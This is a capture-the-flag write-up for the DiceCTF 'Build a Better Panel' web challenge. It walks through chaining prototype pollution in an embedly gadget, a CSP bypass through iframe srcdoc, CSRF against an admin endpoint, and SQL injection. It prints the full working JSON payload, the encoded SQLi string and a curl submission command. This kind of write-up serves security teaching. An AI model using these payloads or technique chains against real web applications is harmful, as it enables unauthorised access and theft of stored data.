tl;dr
- Payload:
{"widgetName":"constructor","widgetData":"{\"prototype\":{\"srcdoc\":\"<script src='/admin/debug/add_widget?panelid=star7rix&widgetname=test123&widgetdata=%27%29%2C%28%27star7rix%27%2C+%28select+flag+from+flag%29%2C+%27%7B%22type%22%3A%22test123%22%7D%27%29+--'></script>\"}}"}
Number of Solves: 13
Points: 299
Solved by: Az3z3l & Captain-Kay
Challenge Description
BAP wasn’t secure enough. Now the admin is a bit smarter, see if you can still get the flag! If you experience any issues, send it here
NOTE: The admin will only visit sites that match the following regex ^https://build-a-better-panel\.dicec\.tf/create?[0-9a-z\-=]+$
Site: build-a-better-panel.dicec.tf
Downloads: build-a-better-panel.tar.gz
Solution
Basic Understanding
Before this challenge was released, another challenge called Build A Panel
was released. That had an unintended solution, which led the authors to patch and release this challenge. The functionalities in this was simple. There was a widget adding option, a reddit post embedded on to the page and the admin had a functionality to add a widget to any user.
The first thing we notice is that the admin’s add widget functionality is vulnerable to SQLi, using which we need to get the flag. We can’t exploit CSRF directly due to a regex in place which allows url to be of the format mentioned in the description and the sameSite being Strict in cookies.
Create Widget
1 | app.get('/create', (req, res) => { |
The create
functionality gets a debug id from the users and if cookie is not set, it sets the panelID to be the id we set in debug. So, now, we have an idea where our exploit must be in our panel, give the admin’s debugid as our panelid, and when the redirect takes it to our panel, our exploit should be triggered for a csrf.
Prototype Pollution
Coming to custom.js, they have a function which tries to merge 2 json structs together and if exploited correctly, we could land a prototype pollution. The also have a reddit card embedded in the page. That used a script from embeddly which had a prototype pollution. Now, we have a plan for the exploit. We need to exploit the prototype pollution to get an xss from embedly.
From the POC, we understand than the exploit for embedly is of the form Object.prototype.onload = 'alert(1)'
Custom.js
1 | const mergableTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined']; |
In our case of pollution, Object.prototype
would be the same as target.constructor.prototype
.
The exploit is of the form, {'constructor':{'prototype':{'onload':'alert()'}}};
{"widgetName":"constructor","widgetData":"{\"prototype\":{\"onload\":\"alert()\"}}"}
is the input sent to server to match the above exploit.
But this won’t work :( due to the CSP in place.
CSP Bypass
1 | res.setHeader("Content-Security-Policy", "default-src 'none'; script-src 'self' http://cdn.embedly.com/; style-src 'self' http://cdn.embedly.com/; connect-src 'self' https://www.reddit.com/comments/;"); |
A pretty strict set of policies is provided. So, using onload won’t do the trick. How the pollution happens is that, we are able to set some config options for the iframe. However, we cannot overwrite the data set by embedly. scrdoc
is an attribute of iframe that allows us to sent the html content inside iframes. So, we go with that to continue exploiting.
Looking at the CSP again, we can see that to execute scripts, we need to use self
or http://cdn.embedly.com/
. Naturally, we’d try to bypass CSP by using JSONP endpoints from embedly.
** Intense google dorking, reading embedly documentation and fuzzing for 2 hrs **
Now, we realize that this is not possible. Then I remembered a side channel attack where the attacker uses a image tag with an enpoint where the page returns 200 if the user is authorised and 404 if he isn’t. Something like this -> <img src='https://victimpage.com/AmIThisUser/userid/status' onload='alert("yep! i am he")' onerror='alert("nop! you are wrong")'></img>
. This attack essentially utilises CSRF using img tag to de-anonymize the user. The img tag could be replaced by anything else as well.
Using this as base, we could craft a payload that could do a CSRF attack on the admin. Here we can use script tag as self is allowed
SQLi
Admin's add widget
1 | app.get('/admin/debug/add_widget', async (req, res) => { |
CSRF parameters with SQLi payload -> panelid=star7rix&widgetname=test123&widgetdata='),('star7rix', (select flag from flag), '{"type":"test123"}') --
Final Payload -> {"widgetName":"constructor","widgetData":"{\"prototype\":{\"srcdoc\":\"<script src='/admin/debug/add_widget?panelid=star7rix&widgetname=test123&widgetdata=%27%29%2C%28%27star7rix%27%2C+%28select+flag+from+flag%29%2C+%27%7B%22type%22%3A%22test123%22%7D%27%29+--'></script>\"}}"}
Payload Execution ->
1 | curl 'http://0.0.0.0:31337/panel/add' -H 'Content-Type: application/json' -H 'Cookie: panelId=star7rix' --data-binary '{"widgetName":"constructor","widgetData":"{\"prototype\":{\"srcdoc\":\"<script src=\\\"/admin/debug/add_widget?panelid=star7rix&widgetname=test123&widgetdata=%27%29%2C%28%27star7rix%27%2C+%28select+flag+from+flag%29%2C+%27%7B%22type%22%3A%22test123%22%7D%27%29+--\\\"></script>\"}}"}' |
Now send link to the admin the link https://<\challengeip>/create/?debugid=star7rix
, check back your panel, get flag.
Build a Panel vs. Build a Better Panel
Now, that this is done, we’ll see what the uninteded solution in Build a Panel
Diffing the source shows this
1 | < res.setHeader("Content-Security-Policy", "default-src 'none'; script-src 'self' http://cdn.embedly.com/; style-src 'self' http://cdn.embedly.com/; connect-src 'self' https://www.reddit.com/comments/;"); |
The only difference is lax and strict in cookies.
Lax: In cross site requests, cookies are sent only if it is a GET requests.
Strict: In cross site requests, no cookies are sent.
Since the cookies are lax
in build-a-panel, the CSRF attack could be done directly by sending a link to the admin with the SQLi payload.
In Build a Better Panel challenge, other than being the cookie being strict, there is a regex in place that does not allow the players to send a link other than for the create endpoint.
References
- Embedly Prototype Pollution - https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/embedly.md
- Prototype Pollution - https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution
- SQLi - https://wiki.bi0s.in/web/sql/